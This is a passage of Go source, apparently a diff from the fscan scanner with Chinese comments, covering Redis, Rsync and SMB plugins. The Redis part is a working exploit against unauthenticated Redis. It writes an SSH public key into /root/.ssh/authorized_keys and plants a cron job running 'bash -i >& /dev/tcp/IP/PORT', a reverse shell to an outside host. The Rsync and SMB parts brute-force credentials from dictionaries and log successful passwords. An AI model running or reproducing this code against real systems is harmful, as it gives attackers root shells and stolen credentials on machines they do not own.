||||
return true, err
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
|
||||
realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试利用
|
||||
Common.LogDebug("尝试Redis利用")
|
||||
err = Expoilt(realhost, conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("利用失败: %v", err))
|
||||
}
|
||||
return true, err
|
||||
}
|
||||
|
||||
Common.LogDebug("认证失败")
|
||||
return false, err
|
||||
}
|
||||
|
||||
// Expoilt 尝试Redis漏洞利用
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
|
||||
|
||||
// 如果配置为不进行测试则直接返回
|
||||
if Common.DisableRedis {
|
||||
Common.LogDebug("Redis漏洞利用已禁用")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 测试目录写入权限
|
||||
Common.LogDebug("测试目录写入权限")
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
// SSH密钥写入测试
|
||||
if flagSsh {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
|
||||
|
||||
// 如果指定了密钥文件则尝试写入
|
||||
if Common.RedisFile != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
|
||||
writeok, text, err := writekey(conn, Common.RedisFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("未指定SSH密钥文件,跳过写入")
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("SSH目录不可写")
|
||||
}
|
||||
|
||||
// 定时任务写入测试
|
||||
if flagCron {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
|
||||
|
||||
// 如果指定了shell命令则尝试写入定时任务
|
||||
if Common.RedisShell != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
|
||||
writeok, text, err := writecron(conn, Common.RedisShell)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("未指定shell命令,跳过写入定时任务")
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("Cron目录不可写")
|
||||
}
|
||||
|
||||
// 恢复数据库配置
|
||||
Common.LogDebug("开始恢复数据库配置")
|
||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
} else {
|
||||
Common.LogDebug("数据库配置恢复成功")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
|
||||
return err
|
||||
}
|
||||
|
||||
// writekey 向Redis写入SSH密钥
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
|
||||
flag = false
|
||||
|
||||
// 设置文件目录为SSH目录
|
||||
Common.LogDebug("设置目录: /root/.ssh/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 设置文件名为authorized_keys
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("设置文件名: authorized_keys")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 读取并写入SSH密钥
|
||||
if strings.Contains(text, "OK") {
|
||||
// 读取密钥文件
|
||||
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
||||
Common.LogDebug(text)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
||||
Common.LogDebug(text)
|
||||
return flag, text, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
|
||||
|
||||
// 写入密钥
|
||||
Common.LogDebug("写入密钥内容")
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("SSH密钥写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// writecron 向Redis写入定时任务
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
|
||||
flag = false
|
||||
|
||||
// 首先尝试Ubuntu系统的cron路径
|
||||
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
|
||||
if !strings.Contains(text, "OK") {
|
||||
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
}
|
||||
|
||||
// 如果成功设置目录,继续后续操作
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("成功设置cron目录")
|
||||
|
||||
// 设置数据库文件名为root
|
||||
Common.LogDebug("设置文件名: root")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
if strings.Contains(text, "OK") {
|
||||
// 解析目标主机地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
|
||||
return flag, "主机地址格式错误", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
|
||||
|
||||
// 写入反弹shell的定时任务
|
||||
Common.LogDebug("写入定时任务")
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
|
||||
scanIp, scanPort)
|
||||
if _, err = conn.Write([]byte(cronCmd)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("定时任务写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的响应文本
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// Readfile 读取文件内容并返回第一个非空行
|
||||
func Readfile(filename string) (string, error) {
|
||||
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
|
||||
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
Common.LogDebug("找到非空行")
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
Common.LogDebug("文件内容为空")
|
||||
return "", err
|
||||
}
|
||||
|
||||
// readreply 读取Redis服务器响应
|
||||
func readreply(conn net.Conn) (string, error) {
|
||||
Common.LogDebug("读取Redis响应")
|
||||
// 设置1秒读取超时
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
|
||||
bytes, err := io.ReadAll(conn)
|
||||
if len(bytes) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
|
||||
err = nil
|
||||
} else {
|
||||
Common.LogDebug("未收到响应数据")
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
// testwrite 测试Redis写入权限
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
Common.LogDebug("开始测试Redis写入权限")
|
||||
|
||||
// 测试SSH目录写入权限
|
||||
Common.LogDebug("测试 /root/.ssh/ 目录写入权限")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送SSH目录测试命令失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取SSH目录测试响应失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("SSH目录测试响应: %s", text))
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
Common.LogDebug("SSH目录可写")
|
||||
} else {
|
||||
Common.LogDebug("SSH目录不可写")
|
||||
}
|
||||
|
||||
// 测试定时任务目录写入权限
|
||||
Common.LogDebug("测试 /var/spool/cron/ 目录写入权限")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送定时任务目录测试命令失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取定时任务目录测试响应失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("定时任务目录测试响应: %s", text))
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
Common.LogDebug("定时任务目录可写")
|
||||
} else {
|
||||
Common.LogDebug("定时任务目录不可写")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("写入权限测试完成 - SSH权限: %v, Cron权限: %v", flag, flagCron))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
// getconfig 获取Redis配置信息
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
Common.LogDebug("开始获取Redis配置信息")
|
||||
|
||||
// 获取数据库文件名
|
||||
Common.LogDebug("获取数据库文件名")
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解析数据库文件名
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
|
||||
|
||||
// 获取数据库目录
|
||||
Common.LogDebug("获取数据库目录")
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解析数据库目录
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// recoverdb 恢复Redis数据库配置
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
Common.LogDebug("开始恢复Redis数据库配置")
|
||||
|
||||
// 恢复数据库文件名
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
|
||||
return
|
||||
}
|
||||
if _, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 恢复数据库目录
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
|
||||
return
|
||||
}
|
||||
if _, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogDebug("数据库配置恢复完成")
|
||||
return
|
||||
}
|
275
Plugins/Rsync.go
Normal file
275
Plugins/Rsync.go
Normal file
@ -0,0 +1,275 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
|
||||
// 首先测试匿名访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试匿名访问", retryCount+1))
|
||||
}
|
||||
|
||||
flag, err := RsyncConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("Rsync服务 %s 匿名访问成功", target))
|
||||
|
||||
// 保存匿名访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rsync",
|
||||
"type": "anonymous-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return err
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Rsync服务 %s 匿名访问失败: %v", target, err))
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["rsync"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
for _, user := range Common.Userdict["rsync"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := RsyncConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag && err == nil, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
Common.LogSuccess(fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, user, pass))
|
||||
|
||||
// 保存爆破成功结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "rsync",
|
||||
"type": "weak-password",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Rsync服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, err))
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 建立连接
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
buffer := make([]byte, 1024)
|
||||
|
||||
// 1. 读取服务器初始greeting
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
greeting := string(buffer[:n])
|
||||
if !strings.HasPrefix(greeting, "@RSYNCD:") {
|
||||
return false, fmt.Errorf("不是Rsync服务")
|
||||
}
|
||||
|
||||
// 获取服务器版本号
|
||||
version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
|
||||
|
||||
// 2. 回应相同的版本号
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 3. 选择模块 - 先列出可用模块
|
||||
_, err = conn.Write([]byte("#list\n"))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 4. 读取模块列表
|
||||
var moduleList strings.Builder
|
||||
for {
|
||||
n, err = conn.Read(buffer)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
chunk := string(buffer[:n])
|
||||
moduleList.WriteString(chunk)
|
||||
if strings.Contains(chunk, "@RSYNCD: EXIT") {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
modules := strings.Split(moduleList.String(), "\n")
|
||||
for _, module := range modules {
|
||||
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 获取模块名
|
||||
moduleName := strings.Fields(module)[0]
|
||||
|
||||
// 5. 为每个模块创建新连接尝试认证
|
||||
authConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
defer authConn.Close()
|
||||
|
||||
// 重复初始握手
|
||||
_, err = authConn.Read(buffer)
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
// 6. 选择模块
|
||||
_, err = authConn.Write([]byte(moduleName + "\n"))
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
// 7. 等待认证挑战
|
||||
n, err = authConn.Read(buffer)
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
authResponse := string(buffer[:n])
|
||||
if strings.Contains(authResponse, "@RSYNCD: OK") {
|
||||
// 模块不需要认证
|
||||
if user == "" && pass == "" {
|
||||
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") {
|
||||
if user != "" && pass != "" {
|
||||
// 8. 发送认证信息
|
||||
authString := fmt.Sprintf("%s %s\n", user, pass)
|
||||
_, err = authConn.Write([]byte(authString))
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
// 9. 读取认证结果
|
||||
n, err = authConn.Read(buffer)
|
||||
if err != nil {
|
||||
authConn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
if !strings.Contains(string(buffer[:n]), "@ERROR") {
|
||||
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
|
||||
host, port, moduleName, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
authConn.Close()
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("认证失败或无可用模块")
|
||||
}
|
149
Plugins/SMB.go
Normal file
149
Plugins/SMB.go
Normal file
@ -0,0 +1,149 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 遍历所有用户
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
// 遍历该用户的所有密码
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
success, err := doWithTimeOut(info, user, pass)
|
||||
if success {
|
||||
// 构建结果消息
|
||||
var successMsg string
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
if Common.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, user, pass)
|
||||
details["domain"] = Common.Domain
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, user, pass)
|
||||
}
|
||||
|
||||
// 记录成功日志
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errMsg := fmt.Sprintf("SMB认证失败 %s %s:%s %v", target, user, pass, err)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
// 等待失败日志打印完成
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if strings.Contains(err.Error(), "账号锁定") {
|
||||
// 账号锁定时跳过当前用户的剩余密码
|
||||
break // 跳出密码循环,继续下一个用户
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: Common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
return true, nil
|
||||
}
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
// 清理错误信息中的换行符和多余空格
|
||||
errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " "))
|
||||
if strings.Contains(errMsg, "NT Status Error") {
|
||||
switch {
|
||||
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
|
||||
err = fmt.Errorf("密码错误")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
|
||||
err = fmt.Errorf("账号锁定")
|
||||
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
|
||||
err = fmt.Errorf("拒绝访问")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
|
||||
err = fmt.Errorf("账号禁用")
|
||||
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
|
||||
err = fmt.Errorf("密码过期")
|
||||
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
|
||||
return false, fmt.Errorf("会话断开")
|
||||
default:
|
||||
err = fmt.Errorf("认证失败")
|
||||
}
|
||||
}
|
||||
|
||||
signal <- struct{}{}
|
||||
return false, err
|
||||
}
|
||||
|
||||
